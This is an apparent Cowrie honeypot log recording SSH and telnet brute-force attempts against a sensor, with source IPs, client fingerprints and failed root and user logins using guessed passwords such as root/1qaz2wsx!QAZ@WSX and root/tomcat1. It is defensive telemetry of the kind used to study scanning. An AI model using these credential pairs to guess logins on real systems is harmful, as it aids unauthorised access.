{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ@WSX","message":"login attempt [root/1qaz2wsx!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:48.685183Z","src_ip":"43.153.22.143","session":"3ed870d0bf67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:49.756765Z","src_ip":"43.153.22.143","session":"3ed870d0bf67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":52116,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e1059c0774","protocol":"ssh","message":"New connection: 43.153.124.153:52116 (10.17.0.5:22) [session: 62e1059c0774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:56.290048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:56.294654Z","src_ip":"43.153.124.153","session":"62e1059c0774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:56.362948Z","src_ip":"43.153.124.153","session":"62e1059c0774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ@WSX","message":"login attempt [root/1qaz2wsx!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:56.669565Z","src_ip":"43.153.124.153","session":"62e1059c0774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:57.741966Z","src_ip":"43.153.124.153","session":"62e1059c0774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":52284,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bc17aa451a","protocol":"ssh","message":"New connection: 197.248.104.31:52284 (10.17.0.5:22) [session: 27bc17aa451a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:58.504601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:58.509687Z","src_ip":"197.248.104.31","session":"27bc17aa451a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:58.722223Z","src_ip":"197.248.104.31","session":"27bc17aa451a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tomcat1","message":"login attempt [root/tomcat1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:59.602962Z","src_ip":"197.248.104.31","session":"27bc17aa451a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:00.819129Z","src_ip":"197.248.104.31","session":"27bc17aa451a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41456,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b232b822eaf","protocol":"ssh","message":"New connection: 194.113.233.25:41456 (159.203.135.109:22) [session: 8b232b822eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:17.743126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:17.747454Z","src_ip":"194.113.233.25","session":"8b232b822eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:17.845653Z","src_ip":"194.113.233.25","session":"8b232b822eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666662","message":"login attempt [root/6666662] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:18.139984Z","src_ip":"194.113.233.25","session":"8b232b822eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":22774,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d51c9caf251","protocol":"ssh","message":"New connection: 176.65.132.5:22774 (10.17.0.5:22) [session: 1d51c9caf251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:19.083139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:19.088307Z","src_ip":"176.65.132.5","session":"1d51c9caf251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:19.171426Z","src_ip":"176.65.132.5","session":"1d51c9caf251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:19.241153Z","src_ip":"194.113.233.25","session":"8b232b822eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:19.464006Z","src_ip":"176.65.132.5","session":"1d51c9caf251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:20.551519Z","src_ip":"176.65.132.5","session":"1d51c9caf251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46124,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfdd03c2e552","protocol":"telnet","message":"New connection: 152.42.224.71:46124 (10.17.0.5:23) [session: dfdd03c2e552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:31.438534Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":42070,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c865c260d21","protocol":"ssh","message":"New connection: 58.186.20.143:42070 (10.17.0.5:22) [session: 5c865c260d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:35.047519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:35.052600Z","src_ip":"58.186.20.143","session":"5c865c260d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:35.298791Z","src_ip":"58.186.20.143","session":"5c865c260d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword","message":"login attempt [root/newpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:36.312893Z","src_ip":"58.186.20.143","session":"5c865c260d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:37.561879Z","src_ip":"58.186.20.143","session":"5c865c260d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52936,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcee93ede810","protocol":"telnet","message":"New connection: 152.42.224.71:52936 (10.17.0.5:23) [session: bcee93ede810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:39.745353Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35644,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fdaf7335d16","protocol":"ssh","message":"New connection: 193.32.162.145:35644 (10.17.0.5:22) [session: 9fdaf7335d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:40.902523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:40.910038Z","src_ip":"193.32.162.145","session":"9fdaf7335d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:41.016286Z","src_ip":"193.32.162.145","session":"9fdaf7335d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:41.345104Z","src_ip":"193.32.162.145","session":"9fdaf7335d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:42.455105Z","src_ip":"193.32.162.145","session":"9fdaf7335d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.404346227645874,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:19:44.842617Z","src_ip":"152.42.224.71","session":"dfdd03c2e552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50184,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d76f65725a","protocol":"telnet","message":"New connection: 152.42.224.71:50184 (10.17.0.5:23) [session: 62d76f65725a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:09.345369Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":46748,"dst_ip":"159.203.135.109","dst_port":22,"session":"775b97efed71","protocol":"ssh","message":"New connection: 59.16.212.232:46748 (159.203.135.109:22) [session: 775b97efed71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:14.944685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:14.959741Z","src_ip":"59.16.212.232","session":"775b97efed71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:15.161430Z","src_ip":"59.16.212.232","session":"775b97efed71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx3edc","message":"login attempt [ubuntu/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:15.995557Z","src_ip":"59.16.212.232","session":"775b97efed71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53334,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb72497e112","protocol":"ssh","message":"New connection: 103.27.238.120:53334 (10.17.0.5:22) [session: 4bb72497e112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:16.019687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:16.033578Z","src_ip":"103.27.238.120","session":"4bb72497e112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:16.313157Z","src_ip":"103.27.238.120","session":"4bb72497e112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdopi123","message":"login attempt [root/asdopi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:17.108963Z","src_ip":"103.27.238.120","session":"4bb72497e112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:17.212551Z","src_ip":"59.16.212.232","session":"775b97efed71","protocol":"ssh"}
